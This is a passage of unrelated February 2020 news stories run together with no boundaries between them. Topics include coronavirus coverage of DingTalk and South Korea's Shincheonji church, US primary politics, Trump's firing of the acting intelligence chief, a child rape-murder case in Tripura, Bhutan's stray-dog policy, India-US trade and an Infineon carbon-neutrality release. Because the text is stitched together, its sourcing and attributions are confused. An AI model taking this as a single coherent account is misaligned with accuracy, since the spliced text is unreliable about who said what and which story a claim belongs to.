day of the lunar year. All patients from across China can access free medical consultation services on the platform amid the novel coronavirus outbreak, according to the company. Cloud technology also helps minimize the impact on the resumption of work after the holiday. DingTalk said it has served 200 million staff workers from more than 10 million enterprises and organizations as of Feb. 3. To meet the huge demand in peak hours, DingTalk has added over 20,000 temporary servers and expanded bandwidth to enhance its calculation capacity. The epidemic has brought challenges as well as opportunities for corporate innovation, said Daniel Zhang, chairman and chief executive officer of tech giant Alibaba Group. "We are fully confident in the digitalization process of the Chinese economy and society and ready to lay a more solid foundation for Alibaba's long-term growth," Zhang said. Facing the epidemic, an increasing number of consumers choose and are growing accustomed to the digital life and work styles, he added. Liu Qingfeng, chairman of China's major artificial intelligence (AI) company iFlytek that also offers cloud classes, expected the coming of the AI era. "Like water and electricity, AI will enter almost all industries including education, medical care, finance, transport and smart cities in the next five to 10 years," Liu said. Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment One of the most talked about commercials in the days following the Super Bowl this year was an unexpected message, for some, from President Donald Trump. In the ad, an emotional Alice Johnson is surrounded by family members and friends as she emerges from federal prison after 21 years. I am free to hug my family! Im free to start over! This is the greatest day of my life. My heart is bursting with gratitude and I want to thank President Donald John Trump. But Alice Johnsons story is not unique. This week President Trump pardoned 11 more people who had served prison sentences for high-profile crimes. These are admirable acts of clemency and commutation that set an example for criminal justice reform in this country. As people of faith, we believe that all human life matters at all stages, from the moment of conception to natural death. And as believers in the transformative power of the gospel of Jesus Christ, we believe that no life no matter how marred by sin is beyond redemption and transformation. Thats why were also excited to celebrate recent news that President Trump has appointed Pastor Tony Lowden as executive director of the Federal Interagency Council on Crime Prevention and Improving Reentry. Lowden is the first black pastor at Maranatha Baptist Church in Plains, Georgia best known as the church where former President Jimmy Carter attends and teaches Sunday School. Founded in 2018, the council brings together experts from different government agencies to strategize on how to heal our nations criminal justice system and empower the formerly incarcerated to start their lives afresh. Despite recent reforms, our nations criminal justice system remains one of the most punitive in the world. The United States incarcerates more people per capita than any other nation in the world, with a total of 2.3 million people locked up in a federal or state prison, local jail or some other kind of facility. Our justice system also fails to equip those reentering society to return to a stable life upon their release; a 2018 report from the Justice Department revealed that 83% of state prisoners who were released in 2005 were re-arrested at some point in the following nine years. Its a system thats not only ineffective, but wasteful: A 2017 study found that it cost taxpayers $182 billion each year. Given these realities, its no surprise that President Trump made criminal justice reform a priority as soon as he took his oath of office. At the end of 2018, he signed the FIRST STEP Act into law a landmark piece of bipartisan criminal justice reform. Among other reforms, the law directed the federal Bureau of Prisons to craft programming designed to reduce the risk of recidivism. Once fully implemented, this programming will empower the incarcerated to redirect their course and reclaim lives of meaning, purpose and autonomy upon release. A leader in his community and a spiritual guide to many, Lowden is exactly the right man for the job. Having grown up in a single-parent home and served as the first black pastor at Maranatha, he is no stranger to the disadvantages and discrimination that many in the black community face. However, he knows the life-changing power of the gospel for everyone and has dedicated his life to proclaiming its truth a dedication that will serve him well in this new role. Lowden also brings significant experience working to modernize justice systems. Georgia is recognized across the country for the remarkable progress it has made in improving its justice system in recent years. Thanks to reforms implemented by former Governor Nathan Deal, Georgia has seen a remarkable drop in prison admissions: As a whole, admissions have dropped 19%, but for African Americans, admissions have dropped 30%. The decrease is due in part to a new approach to nonviolent drug offenders that is being implemented in many states across the country. Rather than incarcerate those grappling with addiction, Georgia has created various accountability courts that help these individuals get sober and find stability in a safe, supportive environment. Lowden worked alongside Governor Deal to help reform the states system as the director of the Faith and Justice Initiative for the Governors Office of Transition Support and Reentry. Im eager to see how Pastor Lowden will use his new position and am confident that he will build on President Trumps achievements in justice reform, expanding the hope of freedom to even more families and individuals impacted by incarceration. The Bible tells us that it is for freedom that Christ has set us free and, through the power of the Holy Spirit, we can renew that promise for a new generation in the land of the free. (Bloomberg Opinion) -- In the New Hampshire presidential primary, the contest that really mattered was for third place. In the Democrats Nevada caucuses on Saturday? Whoever finishes second is likely to get some hype. Thats assuming Bernie Sanders wins. Its not certain he will, but Nate Silvers forecast model thinks the Vermont senator has a 3 in 4 chance of doing so. The media rewards surprises, so unless Sanders wins by an unexpectedly large margin, hes only likely to receive relatively modest amounts of coverage. Second place, on the other hand, is a total toss-up. The polling estimates by FiveThirtyEight find fewer than five percentage points separating Joe Biden, Pete Buttigieg, Elizabeth Warren, Tom Steyer and Amy Klobuchar. Theyre close enough that no order of finish among the five of them would be even a mild surprise. And whoever places second in the first state with an ethnically diverse electorate will in fact be a viable contender for the Democratic presidential nomination (unless its Steyer, whose overall polling numbers are awful and who has few signs of support from party actors). As for the others, its hard to see those finishing sixth, fifth or even fourth having much of a path forward. For Biden, it would mean three consecutive finishes below third. Warren and Klobuchar would be out of the top three in two of the three events so far. And even Buttigieg would look like a candidate without much chance in the primaries in the large, diverse states to come. In the old days, candidates in that kind of shape would almost always drop out. Whether they will this time is an open question. Money is much easier to raise today. Still, we can assume all the candidates are spending what they have, so none of them will be in great shape if the money dries up. For party actors who are concerned about nominating Sanders and about a contested nominating convention, the obvious path is to put pressure on whoever does poorly in Nevada (and then next week in South Carolina) to drop out. That could take the form of public statements by senior party leaders or it could come from behind the scenes. Story continues No one has the authority to order losing candidates out of the contest. But Warren, Klobuchar, Buttigieg and Biden are partisan politicians with strong links to the party. They may not feel comfortable opposing the party as a whole. They also are politicians usually rooted in reality, and if the money does dry up they will likely realize the futility of remaining in the race. To be sure: Theres no guarantee that Bernie Sanders wont capture plenty of the votes that would become available if the field of candidates is winnowed further. But without winnowing, a contested convention would become far more likely, as would the nightmare scenario for the party if Sanders wins a small plurality of the delegates in the primaries and caucuses but gets nowhere near 50%. The truth is the nomination system works it produces a winner, and usually one with a coalition-style campaign because candidates without a solid chance drop out. If they dont, the odds of party-destroying chaos start increasing dramatically. Some weekend reading: 1. William Adler at the Monkey Cage on Trump and the Justice Department. 2. Dan Drezner on Trumps latest unqualified choice for a top administration position. 3. Augusta Dell'Omo at Made in History on foreign interference in U.S. elections. 4. Nate Silver on Michael Bloombergs chances. 5. And my Bloomberg Opinion colleague Noah Smith on poverty. (Disclaimer: Michael Bloomberg is seeking the Democratic presidential nomination. He is the founder and majority owner of Bloomberg LP, the parent company of Bloomberg News.) To contact the author of this story: Jonathan Bernstein at jbernstein62@bloomberg.net To contact the editor responsible for this story: Katy Roberts at kroberts29@bloomberg.net This column does not necessarily reflect the opinion of Bloomberg LP and its owners. Jonathan Bernstein is a Bloomberg Opinion columnist covering politics and policy. He taught political science at the University of Texas at San Antonio and DePauw University and wrote A Plain Blog About Politics. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. A 30-year-old man in Tripuras Gomati district has been arrested in a case of rape and murder of a 6-year-old girl, police said on Friday. The accused, identified as Kachakla Tripura, was to be produced in court later in the day. The dead girl and the daughter of the accused were friends. Police said that the girl went to play with Kachaklas daughter at his house in Gorakhappas Baishnabpara on February 19 afternoon but did not return to her house after that. Her body was found from a jungle about 500 m from her home the next day. Deep strangulation marks were found on the girls throat and there were injury marks on her private parts as well, police said. The minors father lodged a complaint against the accused at Shilacherri Police Station after which he was booked under Section 363, 376(a), 376(ab), 302,201 of IPC and 6 of POCSO Act. We arrested him on Thursday evening based on eyewitnesses and circumstantial evidences. He will be produced before court today ( Friday), said Karbook sub divisional police officer Raju Reang. The leader of a 'cult' at the centre of South Korea's coronavirus crisis has today labelled the outbreak 'the devil's deed'. Lee Man-Hee declared the virus a 'test of faith' after services at the Shincheonji Church of Jesus were widely blamed for spreading the virus. A 61-year-old woman known as 'Patient 31' is feared to have infected dozens after attending the movement's services in the city of Daegu. South Korean officials have confirmed 100 new cases of the virus today, 85 of them linked to the secretive church. The new cases have nearly doubled the total of virus cases in South Korea from 104 to 204 amid fears that Daegu could become the 'new Wuhan'. Experts believe the tight-knit gatherings are an ideal breeding ground for the virus and president Moon Jae-in has today called for a 'thorough investigation'. South Korean health officials spray disinfectant in front of the Shincheonji Church of Jesus in Daegu yesterday where services have been widely blamed for spreading coronavirus Sect leader Lee Man-Hee (pictured left) declared the virus a 'test of faith' after services at the Shincheonji Church of Jesus were widely blamed for spreading the virus The movement's leader and self-proclaimed messiah Lee Man-hee rallied his troops today in a message sent on an internal app. 'This disease case is seen as the devil's deed to stop the rapid growth of Shincheonji,' he wrote in the message, according to Yonhap news agency. 'Just like the tests Job went through, it is to destroy our advancement,' he said, referring to the Biblical figure. A total of 100 new cases were today confirmed by the Korea Centers for Disease Control and Prevention (KCDC), 85 of them connected to the Shincheonji church. It brings the total in South Korea to 204. As of today, more than 400 members of the church are showing symptoms of the disease, Daegu mayor Kwon Young-jin said at a briefing. Tests are still ongoing, and officials in Seoul say they are closing branches of the Shincheonji church in the capital. Workers on motorcycles have been spraying disinfectant outside the Shincheonji church in Daegu. One passer-by Seo Dong-min, 24, said: 'With so many confirmed cases here I'm worried that Daegu will become the second Wuhan.' Workers in protective gear clean each other's suits at a subway station in Seoul today The growing outbreak has also prompted Seoul to ban street rallies and send government help to Daegu. President Moon has called for officials to investigate the church services as well as a funeral service at a hospital nearby which was attended by many church members. That hospital was also home to the first coronavirus patient to die in South Korea, though officials were still seeking to confirm his exact cause of death. 'We need a thorough investigation on the church and the funeral attendees,' Moon said. Lee called on his followers to obey instructions from government authorities and to avoid holding meetings. 'The victims of the disease now are the Shincheonji believers,' he said. 'Let's also overcome this trial.' The church has blamed the 61-year-old woman for the spread of the disease, saying it has been advising followers since late January to stay home if they had symptoms. Little is known about the 'patient zero' except that the woman in her early 60s had no recent record of overseas travel and was diagnosed with pneumonia last weekend. Church officials said the woman assumed she was having the common cold. She had initially resisted doctors' recommendations to get tested for the virus, according to the Korea Centers for Disease Control and Prevention. Some 1,000 Shincheonji church followers who attended Sunday services with her have been quarantined at their homes while authorities screen them for the virus. Health authorities are also trying to monitor thousands of others. A confirmed COVID-19 patient, center, is escorted by a medical staffer toward an ambulance at Daenam Hospital in Cheongdo today Shincheonji, which claims 200,000 followers in South Korea, has now told members to instead watch its services on YouTube. The movement, which translates as 'new heaven and new earth,' was established in 1984 and describes its founder Lee as the 'Promised Pastor', an attendant of Jesus. He has widely been described by other Christian groups as a false prophet or a cult leader. 'Shincheonji followers believe Lee Man-hee is immortal and has an eternal life,' said Ji-il Tark at Busan Presbyterian University in South Korea. 'To propagate their belief, they often approach their relatives and acquaintances or sneak to other churches without telling them they are Shincheonji members.' Tark said Shincheonji followers are likely more vulnerable to virus infections as they often sit very closely on the floor during services. At Shincheonji, attending church-related gatherings 'isn't an option, but a requirement,' he said. The church said in a statement it was fully cooperating with government quarantine efforts and accused mainstream church groups of spreading false claims, such as that it initially instructed followers to keep silent about the illness. This train will carry more saints than sinners when it leaves New Jersey. And thats an order. The state Chamber of Commerces Walk to Washington on Thursday is one of the biggest annual networking extravaganzas in New Jersey politics. Elected officials frequently from the governor on down mingle with lobbyists, university presidents and business leaders while walking the aisle of a chartered Amtrak train to Washington, cocktails in hand. But this year, in the face of increased awareness of sexual harassment and claims that the two-day trips Bacchanalian atmosphere invites drunken assaults, the event has undergone a #MeToo makeover. No hard alcohol will be permitted. There is a hotline for women to call if they are assaulted or harassed. And all ticket holders must agree to a code of conduct that explicitly warns against everything from boorish behavior to unwelcome sexual advances or request for sexual favors. To tackle the menace of stray dogs, Bhutan's Prime Minister Lotay Tshering on Friday has asked people to adopt a stray dog as a gift for the King's birthday. The King will turn 40 years old this year. For it, he has urged people to give him a gift by either planting a tree, adopting a stray dog or committing to managing waste in your neighborhood. "At an individual level, Prime Minister said one can choose to plant a tree and care for it, adopt a stray dog or commit to managing waste in your neighborhood. Personal commitment such as this, he said, would be the best gift for His Majesty. He also announced several programs in the areas of economy, education, health, and technology. The programs will be launched over the period of one year," Bhutan's PMO stated in the press release. Anushka Sharma feels nostalgic after visiting 'Sabzi Mandi' in Bhutan Nation celebrates the auspicious day and in Thimphu, all wishes, festivity, music and colours converged at Changlimithang stadium. https://t.co/FdDgyuk8pD pic.twitter.com/YQb6Bnie9Q PM Bhutan (@PMBhutan) February 21, 2020 Bhutan makes Indians pay 'sustainable development fee' Stray dogs in Bhutan The Bhutan government has been taking a number of measures to reduce birth of free-roaming dogs and encourage adoption of stray dogs. In July last year, it launched a project called Bhutans National Dog Population Management Strategy. tTshering had earlier said that the growing dog population has created serious problems in the country. A number of steps has been taken to tackle it through community-based initiatives, the PM had said. Bhutan also has two mobile applications mass dog vaccination and dog population management that helps officials working in the field to monitor the team and have access to information like the number of neutered dogs. Sachin Tendulkar plays football with kids in adorable Bhutan throwback Informing about the recent development, a Bhutan based journalist Namgay Zam said that she has already adopted 3 stray dogs and urged others to do so. The small Buddhist Kingdom of Bhutan is focussed towards happiness of the citizens, and 9th article of its constitution cites it as a goal. In the last census carried out in 2015 by the Ministry of happiness, 35% of the population answered extremely happy, 47.9% said they felt moderately happy, and only 8.8% of respondents said they were unhappy. Our @PMBhutan has just asked every Bhutanese family to adopt a stray dog each as a gift for His Majesty on His Birthday today in order to deal with our stray dog population problem in a humane manner. And to plant a tree. My fiance and I have adopted 3 strays already. :) Namgay Zam (@namgayzam) February 21, 2020 Delegation from Bhutan led by its EC to visit Delhi CEO Office, poll museum on Tuesday COLORADO SPRINGS, Colo. Relishing in Democrats jumbled primary in the wake of a fractious debate, President Donald Trump offered stinging criticism of his rivals as he sought to take advantage of the moment. Making a rare four-day swing through the West, Trump was exuding reelection confidence Thursday at a campaign rally in Colorado, after taking in the prior nights prize fight of a debate in Las Vegas. He reveled in the intra-party squabbling and the weak debut debate performance turned in by former New York City Mayor Mike Bloomberg, according to aides and allies. I dont know if anyone watched last nights debate, Trump told an arena of raucous supporters. It got very big ratings, and you know what, Mini Mike didnt do well last night. I was going to send him a note, saying its not easy doing what I do is it? He offered other biting assessments of the Democratic contenders, contrasting them to his own performance in debates four years ago. I became president because of the debates because unlike Mini Mike I could answer questions, Trump said. Feeling reelection odds rising after his acquittal in the Senate impeachment trial and his campaigns record fundraising, Trump seized on the deep divisions and personal tiffs on display in the Democratic field. But his preoccupation with the scrambled nomination race for the Democrats seeking to replace him has been clear throughout the trip. When Trump woke up Thursday morning in his gilded Las Vegas hotel, his base during the four-state western trip, he tuned in to the post-debate coverage and displayed his glee. Repurposing one of Bloombergs own quotes about the Democratic infighting, Trump tweeted: The real winner last night was Donald Trump. He tacked on his own coda: I agree! The night before, after a campaign rally in Phoenix, Trump summoned reporters to his office aboard Air Force One to join him in watching a replay of the debate on the return flight to Las Vegas. He was scheduled to hold a rally in the city his third in as many days Friday on the eve of the caucuses, as he did before contests in Iowa and New Hampshire. Bloomberg has been the most disconcerting force in the 2020 race for Trump since the ultra-billionaire entered the fray in November and spent more than $400 million, which rocketed him in the polls in just three months. Bloombergs willingness to spend near-unlimited sums to defeat Trump this fall, and the mocking tone of many of his ads, have deeply rankled the president. Trumps campaign had organized itself around the strategy that it would be able to paint any rival as an extreme liberal, a socialist or worse, and concerns mounted that strategists would have to come up with a different plan should Bloomberg win the nomination. Trumps team saw the debate as validating his reelection strategy and providing a fresh opening for Vermont Sen. Bernie Sanders, a self-described Democratic socialist, to gain a significant delegate lead on Super Tuesday. The president was hopeful that panic from more moderate Democrats at Sanders rise would only further fracture the Democratic Party. On Thursday, Trump predicted the debate would be the end of Bloombergs campaign, and said Minnesota Sen. Amy Klobuchars campaign was also mortally wounded. I think you lost two last night, he said in Colorado, adding that it looks like Bernie will emerge as the Democratic nominee. Trump on Thursday placed a round of calls to confidants, echoing the thoughts he had posted on Twitter at times with more colorful language and opining that Bloomberg did not appear ready for the moment, according to two Republicans close to the White House who spoke on condition of anonymity because they were not authorized to speak publicly about private conversations. Long insecure about Bloombergs wealth, Trump told confidants that the debate proved money alone did not lead to his own electoral success. Between three rallies and a pair of high-dollar fundraisers, Trump sought to use his western swing to highlight administration policies that delivered on campaign promises and appealed to key demographics. On Wednesday, he ceremoniously signed new environmental regulations that eased water restrictions on farmers in the heavily Republican California Central Valley. On Thursday, Trump spoke to a graduating class of ex-prisoners in a renewed appeal to communities of color, as he championed his administrations work on criminal justice reform. In Colorado Springs, Trump was rallying support for Republican Sen. Cory Gardner, who is considered one of the most vulnerable senators seeking reelection this year. We are going to win Colorado in a landslide and youre going to help us get Cory Gardner across that line because hes been with us 100%, Trump said, referencing his vote in the impeachment trial. There was no waver with Cory. Between touting his administrations accomplishments and attacking his opponents, Trump also critiqued the Academy Awards for awarding best picture to the South Korean film Parasite the first foreign language film to win an Oscar. How bad were the Academy Awards this year, Trump said. And the winner is: a movie from South Korea. Whats that all about? ___ Associated Press staff writer James Anderson in Colorado Springs and Kevin Freking in Washington contributed to this report. Lemire reported from Washington. The State Department confirmed Friday morning the U.S. and Taliban have "reached an understanding" that starts a 7-day "reduction of violence" to be followed by a signed U.S.-Taliban agreement. Why it matters: The Afghanistan war is the longest war in U.S. history. President Trump has previously pulled out of talks at the last minute, only to restart them. What's next: The U.S. and Taliban are expected to formally sign the agreement on Feb. 29, Secretary of State Mike Pompeo said in a statement on Friday. That will be followed by intra-Afghanistan peace talks. "After decades of conflict, we have come to an understanding with the Taliban on a significant reduction in violence across #Afghanistan. This is an important step on a long road to peace, and I call on all Afghans to seize this opportunity." Sec. of State Mike Pompeo, on Twitter State of play: Afghanistan's President Ashraf Ghani won re-election on Feb. 18 five months after the elections initially took place. There's long been a dispute between the official government and the Taliban over who speaks for Afghanistan. The Taliban has previously refused to meet with Ghani to discuss peace talks, calling him a "puppet of the U.S." The bottom line: While the U.S. and Taliban have reached some-type of understanding, it doesn't guarantee intra-Afghanistan peace talks will go over smoothly. Go deeper: The Afghanistan conundrum Atlantic City council members are accusing the state of discrimination for requiring to see the resumes of two Muslim women before approving their appointments to the citys municipal utilities authority. They say the hold-up on the approval was triggered by Mayor Marty Small, Sr. who is accused of telling the state monitor assigned to oversee the state-controlled city that the women were not good people, according to an email sent by Councilwoman LaToya Dunston obtained by NJ Advance Media. The allegations of discrimination were made during a heated city council meeting Wednesday night. The two women, Amena Chowdury and Michelle Kidd, were appointed to serve on the MUA by the city council during a Jan. 22 meeting. More than a week later, the citys business administrator informed Council President George Tibbitt, city clerk, and others that the state was requesting their resumes before signing off on the appointment, according to an email obtained by NJ Advance Media. Because Atlantic City is under state control, all board appointments are subject to the approval of the state, however, council members claim the state has never asked them for resumes before and by doing so now, theyre discriminating against the women. "It is a really chaotic situation that we are in, potentially a dangerous situation because we have two women of color that were selected after the body that we have in front of us vetted and agreed unanimously to approve their appointment to a board that is supposed to be made of people who represent the city," said Councilman Moisse Delgado. These two ladies did not deserve to be ostracized and to be put in question in the way that they were. These two ladies and their communities have been disenfranchised historically." The denouncement of the move did not stop there. Both Councilman Muhammad "Anjum" Zia and Councilman MD Hossian Morshed said they believed the women were being discriminated against and disrespected. As a Muslim, I will not tolerate this kind of discrimination, Morshed said. I will let you and everyone else know that this will not be tolerated." Department of Community Affairs spokeswoman Lisa Ryan said the state requested resumes for the two appointees to the Atlantic City Municipal Utilities Authority and that the matter is currently under review. Small Sr. denied saying the the two were not good people. The mayor also said he did not orchestrate the resume request as Dunston alleged. They can write all the letters they want and make allegations, but they know they had a meeting with Rob Long from the state and he told them he asked for the resumes," Small Sr. said. "I cannot direct Rob Long to do anything. Chris Franklin can be reached at cfranklin@njadvancemedia.com. Follow him on Twitter @cfranklinnews or on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Reports: Trump Canned Acting Intel Chief Over Warnings About Russia By Jeff Seldin February 20, 2020 U.S. President Donald Trump made the decision to cast out his top intelligence official following a classified briefing to lawmakers about election security, according to reports. The Washington Post and The New York Times said Thursday the president was irate after learning of last week's briefing to members of the House Intelligence Committee, concerned that officials had shared information that could be used against him. Trump then called acting Director of National Security Joseph Maguire to his office the next day, when he ultimately decided to replace him. "There was a dressing down" of Maguire, a source, speaking on the condition of anonymity, told the Post. "That was the catalyst." According to the Times, the president's anger was sparked by an assessment from one of Maguire's top aides, Shelby Pierson, who told lawmakers that Russia has been interfering in the 2020 U.S. presidential campaign, seeking to get Trump reelected. Officials at the Office of the Director of National Intelligence and its election security office declined comment when contacted by VOA. A request for comment to the White House also went unanswered, but reaction from Democratic lawmakers has been swift. "I am gravely concerned," House Homeland Security Committee Chairman Bennie Thompson said in a statement late Thursday. "The president puts ego above country," he added. "By firing Acting DNI Maguire because his staff provided the candid conclusions of the Intelligence Community to Congress regarding Russian meddling in the 2020 presidential election, the president is not only refusing to defend against foreign interference, he's inviting it." The rocky relationship between Trump and U.S. intelligence agencies dates back to the 2016 presidential election, when the intelligence community concluded, "[Russian President Vladimir] Putin and the Russian government aspired to help President-elect Trump's election chances when possible," the leading U.S. intelligence agencies wrote in an unclassified report released in 2017. Those conclusions were backed up by a report in April 2019 by special counsel Robert Mueller, which found, "the Russian government perceived it would benefit from a Trump presidency and worked to secure that outcome." But Trump has consistently denied any Russian interference, repeatedly deferring to Putin's denials. "He said he didn't meddle," Trump told reporters following a conversation with Putin in Vietnam. "He said he didn't meddle. I asked him again. You can only ask so many times." Still, U.S. intelligence officials have said, repeatedly, that not only did Russia meddle in 2016, but that it did so again in 2018 and that it would meddle in the 2020 presidential elections, as well. "It wasn't a single attempt. They're doing it as we sit here," Mueller told lawmakers last July. "And they expect to do it during the next campaign." More recently, U.S. allies have warned of the Kremlin intent to interfere in the upcoming elections. "This year, for example, Russia's focus will certainly be on the U.S.," Estonia's Foreign Intelligence Service warned in a report earlier this month. "The main goal is to ensure a more beneficial election result for Russia by favoring Russian-friendly candidates or those who have the most divisive influence in the West," it said. U.S. lawmakers have also warned about continued Russian meddling in a series of bipartisan reports by the Senate Intelligence Committee, one of which cautioned the president against using election meddling for political advantage. "The president of the United States should take steps to separate himself or herself from political considerations when handling issues related to foreign influence operations," a committee report issued earlier this month said. The U.S. has been without a permanent director of national intelligence since mid-August 2019, when Dan Coats stepped down following a series of public clashes with Trump over intelligence assessments. Already, some former intelligence officials and analysts had been expressing concern about fending off foreign information operations from Russia and others without an experienced official to lead the intelligence agencies. Now, with Maguire gone, their concerns are growing. "I think Joseph Maguire did as well as he could, under difficult circumstances, to stave off corruption of the intelligence community's mission," said Paul Pillar, a former senior CIA officer now with Georgetown University. But with U.S. Ambassador to Germany Richard Grenell, a well-known Trump loyalist, stepping in, that could become more difficult. "Grenell not only has no intelligence experience, which is a negative, but is very much a partisan fighter and ideologue," Pillar said. "Having Grenell as acting DNI promises to politicize the intelligence community more than it has been to date so far under Trump." James Clapper, who served as director of national intelligence under President Barack Obama, told VOA: "It is bad for continuity and stability. The over-arching message is the president simply doesn't care, and simply wants a hood ornament loyalist sitting in the chair." But Grenell, who is also continuing to serve as ambassador to Germany and as Special Envoy for Serbia-Kosovo Negotiations, said on Thursday the position would be filled on a permanent basis, just not by him. "The President will announce the Nominee (not me) sometime soon," he tweeted. So far, there has been no word from the White House on just when such an announcement will be made, though it is facing a hard deadline. By law, the acting director, whether it was Maguire or Grenell, will have to step down March 11, 210 days after the position was first vacated. "The clock doesn't restart each time the president names someone else [as acting director]," Steve Vladek, a law professor at the University of Texas at Austin, told VOA. "If no nominee is submitted in time, Grenell ceases to be the acting DNI, and no one can replace him," he added. "Someone still has to 'exercise the functions' of the acting DNI, but that would fall to whoever the senior person at ODNI currently is." Whether Trump would allow a veteran of the intelligence community to take the reins, though, is questionable. "Trump seems to want politics from the IC [intelligence community], not facts," said Joshua Geltzer, who served on the National Security Council in the Obama White House. "Grenell has provided politics via Twitter as ambassador," he said. "This is a clear choice for the latter, and it seems destined to make the IC wary of speaking truth when there's less interest in hearing it." In a statement Thursday, the White House expressed confidence in Grenell, for as long as he serves. "The president has every confidence that Ambassador Grenell will perform his new duties with distinction," press secretary Stephanie Grisham said. "He is committed to a nonpolitical, nonpartisan approach as head of the Intelligence Community, on which our safety and security depend." Yet despite accolades from the White House, the selection of Grenell to lead U.S. intelligence has met with silence from many Republicans, including Senate Intelligence Committee Chairman Richard Burr. One of the first Republicans to speak out was Burr's fellow Intelligence Committee member, Senator Roy Blunt of Missouri. "If you're ambassador for some time in a country like Germany, you have a lot of exposure to intel activities and daily briefings and other things," he told Politico of Grenell. "He's a very smart, capable guy." House Minority Leader Republican Kevin McCarthy also offered praise for Grenell, saying he "has a proven track record of fighting for our country, and now, he will work every day to make sure Americans are safe." White House Bureau Chief Steve Herman and correspondent Patsy Widakuswara contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Shalini was 18 when she got married to Indian Army officer Major Avinash Singh Bhadauria. He was martyred during an encounter with terrorists in Kashmir. After she lost her husband she decided to join the Army as a tribute to her husband. From Mrs Shalini Singh, an Army wife and MBA student, she became Captain Shalini Singh, a soldier. Only three weeks away from Major Avinashs first death anniversary, Shalini was commissioned as an officer in the Indian Army. She served in the army for 5 year. In 2017 she has won the Queen of Substance award at the Mrs India pageant. Days ahead of his India visit, US President Donald Trump on Thursday said the two countries could make a tremendous trade deal. Were going to India, and we may make a tremendous deal there, Trump said in his commencement address at the Hope for Prisoners Graduation Ceremony in Las Vegas. Trump, accompanied by First Lady Melania Trump, is scheduled to travel to Ahmedabad, Agra and New Delhi on February 24 and 25. Ahead of the visit, there have been talks about India and the United States agreeing on a trade package as a precursor to a major trade deal. During his commencement address, Trump indicated that the talks on this might slowdown if he did not get a good deal. Maybe well slow down. Well do it after the election. I think that could happen too. So, well see what happens, he said. But were only making deals if theyre good deals because were putting America first. Whether people like it or not, were putting America first, Trump said. Bilateral India-US trade in goods and services is about three per cent of the US world trade. In a recent report, the Congressional Research Service (CRS) said the trading relationship is more consequential for India -- in 2018 the United States was its second largest goods export market (16.0 per cent share) after the European Union (EU, 17.8 per cent), and third largest goods import supplier (6.3 per cent) after China (14.6 per cent) and the EU 28 (10.2 per cent). The Trump Administration takes issue with the US trade deficit with India, and has criticised India for a range of unfair trading practices, the CRS said. Indian Prime Minister Modis first term fell short of many observers expectations, as India did not move forward with anticipated market opening reforms, and instead increased tariffs and trade restrictions, it said. Modis strong electoral mandate may embolden the Indian government to press ahead with its reform agenda with greater vigour. Slowing economic growth in India raises concerns about its business environment, CRS said. As per a fact sheet issued by the Council on Foreign Relations (CFR), trade in goods and services between the two countries from 1999 to 2018 surged from USD 16 billion to USD 142 billion. India is now the United States eighth-largest trading partner in goods and services and is among the worlds largest economies. Indias trade with the United States now resembles, in terms of volume, the US trade with South Korea (USD 167 billion in 2018) or France (USD 129 billion), said Alyssa Ayres from CFR. The United States for two years now has set out in stone pretty clearly the things that they wanted to see to try to get an agreement, and its basically then on Indias doorstep on whether they want to take those steps, Rick Rossow, Wadhwani Chair in US-India Policy Studies at the Center for Strategic and International Studies think-tank told reporters during a conference call. The list of US asks has been pretty static all throughout. Not to say that any of these things are easy for India to do, but the United States to my knowledge didnt change the goalposts just because we now consider India to be a middle-income country. The things that we wanted to see happen to get this trade agreement have been pretty static all throughout, no matter how difficult they are, he said in response to a question. Article I of the US Constitution vests in Congress the power to establish a uniform rule of naturalization, yet anyone who knows anything about immigration and naturalization will admit of its myriad and stultifying rules. I have authored a bill called the Citizenship Act, which provisions citizenship to persons in the United States desirous of it. These paths to citizenship of which members of Congress too often speak are altogether perilous to tread. Two hundred and thirty years ago, the US Congress established a uniform rule of naturalization: White men who had been in the United States for two years could make application at any common court of record and would thereupon be considered citizens of the US, as would their children. Yet in 2020, a derelict Congress appropriates billions to build and superintend haunts of detention under the pretext of border security. I will never consent to a rule of law which incarcerates families and children, and I dismiss the legitimacy of elections which sustain practices of barbarism. [February 21, 2020] Infineon to become a carbon-neutral company MUNICH, Feb. 21, 2020 /PRNewswire/ -- Infineon Technologies AG will become carbon-neutral by 2030. The company presented its plans at its Annual General Meeting in Munich. Infineon is thus making an active contribution to reducing CO 2 worldwide and achieving the targets defined in the Paris Climate Agreement. The objective relates to its own greenhouse gas footprint and includes not only all direct emissions, but also indirect emissions from electricity and heat production. Emissions are to be cut by 70 percent over the 2019 levels by 2025. Energy efficiency and hence reducing CO 2 emissions have long been core elements of Infineon's business model. Making life greener is part of the company's mission. Through the use of its products and solutions by the customers of Infineon, 40 times more CO 2 can currently be avoided than is generated during production. With its goal of going carbon neutral, the company is thus taking the next strategic step to fulfill its own mission. "Climate change threatens the global ecosystem and so the very existence of mankind," said Dr. Reinhard Ploss, Chief Executive Officer of Infineon. "It's an acknowledged fact that we need to act. With our goal to become carbon-neutral, we are making a pledge by which others outside the company can measure us. At the same time, it is motivation for all of us at the company to do all we can to continue minimizing our own footprint. We at Infineon are driven by the mission of finding better and better solutions. Infineon's products are already the basis for the energy and mobility transition." In order to achieve the targets, Infineon is committed in particular to avoiding direct emissions and further reducing the energy it needs for its plants and processes. Further expansion of its energy efficiency program and efforts aimed at smart exhaust ai treatment will play a key part in that. They will make a major contribution to reducing greenhouse gas emissions. The company plans to compensate for unavoidable emissions by purchasing green electricity with guarantees of origin. Emissions will also be compensated to a smaller part by certificates that combine development support and CO 2 abatement. "Infineon is already one of the most sustainable semiconductor producers," says Jochen Hanebeck, Chief Operations Officer of Infineon. "CO 2 avoidance and resource efficiency in production have been a priority for us for years, as in the setting up of our 300-millimeter thin wafer technology. With our goal of becoming carbon-neutral we are strengthening our efforts through electricity from renewable sources and investments in exhaust air treatment that far exceeds the industry standard." According to a global comparison of companies in the industry by the World Semiconductor Council, Infineon's frontend production sites use around 52 percent less electricity per square centimeter of processed wafer surface than the average for all manufacturers. Moreover, the company already reduces its total carbon footprint by one-third thanks to smart exhaust air treatment concepts. It has invested around 50 million euros in this voluntary measure to cut emissions to date. Added value through Infineon products and solutions Infineon's climate strategy is founded on two pillars: continuous reduction in its own emissions and the active contribution Infineon and its innovative products and solutions make to climate protection thanks to better resource management. With its products, Infineon delivers energy-efficient solutions and promotes the development of 